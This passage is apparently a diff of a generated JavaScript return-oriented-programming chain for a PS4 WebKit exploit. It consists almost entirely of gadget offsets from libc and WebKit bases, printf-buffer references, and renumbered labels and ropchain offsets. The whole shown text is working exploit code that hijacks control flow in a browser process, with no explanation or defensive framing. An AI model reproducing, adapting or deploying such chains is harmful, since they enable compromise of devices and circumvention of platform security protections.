//pop r11 ; mov rax, rdi ]); -//L2353: +//L2336: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L2335: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2352: +//L2337: db([0, 0]); // 0x0 set_gadget(webkit_base+432898,); //pop r8 -//L2354: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L2355: +//L2338: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+160584, //L2356 +ropchain+160144, //L2339 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+160616, //L2358 +ropchain+160176, //L2341 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+160600, //L2357 +ropchain+160160, //L2340 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L2356: +//L2339: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2357: +//L2340: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2358: +//L2341: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -16159,17 +16095,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+160712, //L2359 +ropchain+160272, //L2342 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+160728, //L2360 +ropchain+160288, //L2343 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L2359: +//L2342: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2360: +//L2343: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -16179,32 +16115,32 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+160840, //L2361 +ropchain+160400, //L2344 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+160824, //L2362 +ropchain+160384, //L2345 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L2362: +//L2345: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L2361: +//L2344: db([0, 0]); // 0x0 set_gadgets([ libc_base+793877, //pop rsi -ropchain+160928, //L2364 +ropchain+160488, //L2347 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+160912, //L2363 +ropchain+160472, //L2346 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2363: +//L2346: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2364: +//L2347: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -16214,17 +16150,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+161024, //L2365 +ropchain+160584, //L2348 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+161040, //L2366 +ropchain+160600, //L2349 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L2365: +//L2348: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2366: +//L2349: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -16234,17 +16170,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+161152, //L2367 +ropchain+160712, //L2350 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+161136, //L2368 +ropchain+160696, //L2351 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L2368: +//L2351: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L2367: +//L2350: db([0, 0]); // 0x0 //__putchar: set_gadget(libc_base+793877,); //pop rsi @@ -16252,51 +16188,51 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+161224, //L2370 +ropchain+160784, //L2352 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L2370: +//L2352: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+161312, //L2372 +ropchain+160872, //L2355 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+161344, //L2373 +ropchain+160920, //L2357 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2372: +//L2355: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L2354: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2371: +//L2356: db([0, 0]); // 0x0 set_gadget(webkit_base+432898,); //pop r8 -//L2373: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L2374: +//L2357: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+161456, //L2376 +ropchain+161016, //L2359 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+161440, //L2375 +ropchain+161000, //L2358 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2375: +//L2358: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2376: +//L2359: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -16304,89 +16240,89 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+161592, //L2379 +ropchain+161152, //L2362 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+161560, //L2377 +ropchain+161120, //L2360 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L2377: +//L2360: db([0, 0]); // 0x0 set_gadgets([ libc_base+206806, //pop rdi -//L2378: +//L2361: ropchain+136, //_ps4_printf_fd libc_base+788575 //pop rax ]); -//L2379: +//L2362: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+161760, //L2382 +ropchain+161320, //L2365 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+161776, //L2383 +ropchain+161336, //L2366 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+161728, //L2380 +ropchain+161304, //L2363 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+161744, //L2381 +ropchain+161288, //L2364 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2380: +//L2364: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2381: +//L2363: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2382: +//L2365: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2383: +//L2366: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+161848, //L2384 +ropchain+161408, //L2367 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+161864, //L2385 +ropchain+161424, //L2368 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2384: +//L2367: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2385: +//L2368: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+161968, //L2386 +ropchain+161528, //L2369 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+162000, //L2388 +ropchain+161560, //L2371 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+161984, //L2387 +ropchain+161544, //L2370 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L2386: +//L2369: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2387: +//L2370: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2388: +//L2371: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -16399,98 +16335,98 @@ webkit_base+14959219, //cmp rax, rcx ; sete al webkit_base+8824269, //setle al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+162168, //L2390 +ropchain+161728, //L2373 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+162184, //L2391 +ropchain+161744, //L2374 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+162152, //L2389 +ropchain+161712, //L2372 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2389: +//L2372: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2390: +//L2373: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2391: +//L2374: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+162288, //L2394 +ropchain+161848, //L2377 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+162336, //L2396 +ropchain+161896, //L2379 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+162320, //L2395 +ropchain+161880, //L2378 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2394: +//L2377: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L2393: +//L2376: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2395: +//L2378: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2396: +//L2379: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+162448, //L2397+8 +ropchain+162008, //L2380+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+162440, //L2397 +ropchain+162000, //L2380 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L2397: +//L2380: db([0, 0]); // 0x0 set_gadgets([ -ropchain+162464, //L2397+24 -ropchain+163288, //L2392 +ropchain+162024, //L2380+24 +ropchain+162848, //L2375 libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+162504, //L2399 +ropchain+162064, //L2381 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2399: +//L2381: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2398: +//L2382: db([1, 0]); // 0x1 set_gadget(libc_base+206806,); //pop rdi -//L2400: +//L2383: db([1, 0]); // 0x1 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+162632, //L2402 +ropchain+162192, //L2385 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+162616, //L2401 +ropchain+162176, //L2384 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2401: +//L2384: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2402: +//L2385: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -16499,14 +16435,14 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+162728, //L2404 +ropchain+162288, //L2387 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L2403: +//L2386: db([16, 0]); // 0x10 set_gadget(libc_base+788575,); //pop rax -//L2404: +//L2387: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi @@ -16517,68 +16453,68 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+162872, //L2407 +ropchain+162432, //L2390 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+162840, //L2405 +ropchain+162400, //L2388 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L2405: +//L2388: db([0, 0]); // 0x0 set_gadgets([ libc_base+206806, //pop rdi -//L2406: +//L2389: ropchain+136, //_ps4_printf_fd libc_base+788575 //pop rax ]); -//L2407: +//L2390: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+163040, //L2410 +ropchain+162600, //L2393 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+163056, //L2411 +ropchain+162616, //L2394 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+163008, //L2408 +ropchain+162584, //L2391 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+163024, //L2409 +ropchain+162568, //L2392 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2408: +//L2392: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2409: +//L2391: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2410: +//L2393: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2411: +//L2394: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+163152, //L2413 +ropchain+162712, //L2396 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+163136, //L2412 +ropchain+162696, //L2395 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2412: +//L2395: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2413: +//L2396: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -16586,8 +16522,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L2415: -ropchain+163256, //L2414 +//L2398: +ropchain+162816, //L2397 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -16595,247 +16531,247 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+165672, //L2416 -//L2414: +ropchain+165232, //L2399 +//L2397: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); db([4294967272, 4294967295]); // -0x18 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -//L2392: +//L2375: libc_base+793877, //pop rsi -ropchain+163344, //L2419 +ropchain+162888, //L2400 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L2417: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L2419: +//L2400: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L2401: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+163448, //L2422 +ropchain+163008, //L2405 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+163432, //L2421 +ropchain+162992, //L2403 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2421: +//L2403: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2422: +//L2405: db([0, 0]); // 0x0 set_gadgets([ libc_base+270096, //mov al, [rdi] libc_base+793877, //pop rsi -ropchain+163608, //L2426 +ropchain+163168, //L2409 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+163560, //L2423 +ropchain+163120, //L2407 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+163592, //L2425 +ropchain+163152, //L2408 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2423: +//L2407: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2424: +//L2406: db([24, 0]); // 0x18 set_gadget(libc_base+206806,); //pop rdi -//L2425: +//L2408: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2426: +//L2409: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+163664, //L2428 +ropchain+163224, //L2411 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L2428: +//L2411: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+163768, //L2429 +ropchain+163328, //L2413 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+163800, //L2431 +ropchain+163360, //L2414 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+163784, //L2430 +ropchain+163344, //L2412 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2429: +//L2413: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2430: +//L2412: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2431: +//L2414: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+163960, //L2435 +ropchain+163520, //L2418 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+163912, //L2432 +ropchain+163472, //L2416 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+163944, //L2434 +ropchain+163504, //L2417 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2432: +//L2416: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2433: +//L2415: db([24, 0]); // 0x18 set_gadget(libc_base+206806,); //pop rdi -//L2434: +//L2417: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2435: +//L2418: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+164016, //L2437 +ropchain+163576, //L2420 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L2437: +//L2420: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+164120, //L2438 +ropchain+163680, //L2422 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+164152, //L2440 +ropchain+163712, //L2423 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+164136, //L2439 +ropchain+163696, //L2421 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2438: +//L2422: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2439: +//L2421: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2440: +//L2423: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+164224, //L2441 +ropchain+163784, //L2424 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+164240, //L2442 +ropchain+163800, //L2425 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2441: +//L2424: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2442: +//L2425: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+164400, //L2446 +ropchain+163960, //L2429 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+164352, //L2443 +ropchain+163912, //L2427 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+164384, //L2445 +ropchain+163944, //L2428 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2443: +//L2427: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2444: +//L2426: db([24, 0]); // 0x18 set_gadget(libc_base+206806,); //pop rdi -//L2445: +//L2428: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2446: +//L2429: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+164456, //L2448 +ropchain+164016, //L2431 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L2448: +//L2431: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+164560, //L2449 +ropchain+164120, //L2433 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+164592, //L2451 +ropchain+164152, //L2434 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+164576, //L2450 +ropchain+164136, //L2432 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2449: +//L2433: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2450: +//L2432: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2451: +//L2434: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+164688, //L2453 +ropchain+164248, //L2436 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+164672, //L2452 +ropchain+164232, //L2435 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2452: +//L2435: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2453: +//L2436: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -16843,46 +16779,46 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+164824, //L2456 +ropchain+164384, //L2439 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+164792, //L2454 +ropchain+164352, //L2437 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L2454: +//L2437: db([0, 0]); // 0x0 set_gadgets([ libc_base+206806, //pop rdi -//L2455: +//L2438: ropchain+128, //_ps4_printf_buffer libc_base+788575 //pop rax ]); -//L2456: +//L2439: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+164968, //L2459 +ropchain+164528, //L2442 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+164936, //L2457 +ropchain+164496, //L2440 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+164952, //L2458 +ropchain+164512, //L2441 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L2457: +//L2440: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2458: +//L2441: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2459: +//L2442: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -16890,36 +16826,36 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+165056, //L2461 +ropchain+164616, //L2444 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L2460: +//L2443: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L2461: +//L2444: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+165120, //L2463 +ropchain+164664, //L2445 webkit_base+7438103, //mov [rsi], rax -libc_base+788575, //pop rax -//L2462: -ropchain+128, //_ps4_printf_buffer libc_base+792472 //pop rcx ]); -//L2463: +//L2445: db([0, 0]); // 0x0 set_gadgets([ +libc_base+788575, //pop rax +//L2446: +ropchain+128, //_ps4_printf_buffer webkit_base+2997875, //mov [rax], rcx libc_base+793877, //pop rsi -ropchain+165176, //L2464 +ropchain+164736, //L2447 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2464: +//L2447: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -16929,22 +16865,22 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+165256, //L2466 +ropchain+164816, //L2449 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2466: +//L2449: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+165312, //L2469 +ropchain+164872, //L2451 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2469: +//L2451: db([0, 0]); // 0x0 set_gadgets([ webkit_base+865136, //mov [rax], cl @@ -16955,18 +16891,18 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+165440, //L2471 +ropchain+165000, //L2454 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+165424, //L2470 +ropchain+164984, //L2453 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2470: +//L2453: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2471: +//L2454: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -16976,17 +16912,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+165536, //L2472 +ropchain+165096, //L2455 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+165552, //L2473 +ropchain+165112, //L2456 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L2472: +//L2455: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2473: +//L2456: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -16996,19 +16932,19 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+165664, //L2474 +ropchain+165224, //L2457 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+165648, //L2475 +ropchain+165208, //L2458 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L2475: +//L2458: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L2474: +//L2457: db([0, 0]); // 0x0 -//L2416: +//L2399: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -17224,11 +17160,11 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+166992, //L2476 +ropchain+166552, //L2459 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L2476: +//L2459: db([0, 0]); // 0x0 //___bswap64_var: set_gadget(libc_base+793877,); //pop rsi @@ -17236,72 +17172,71 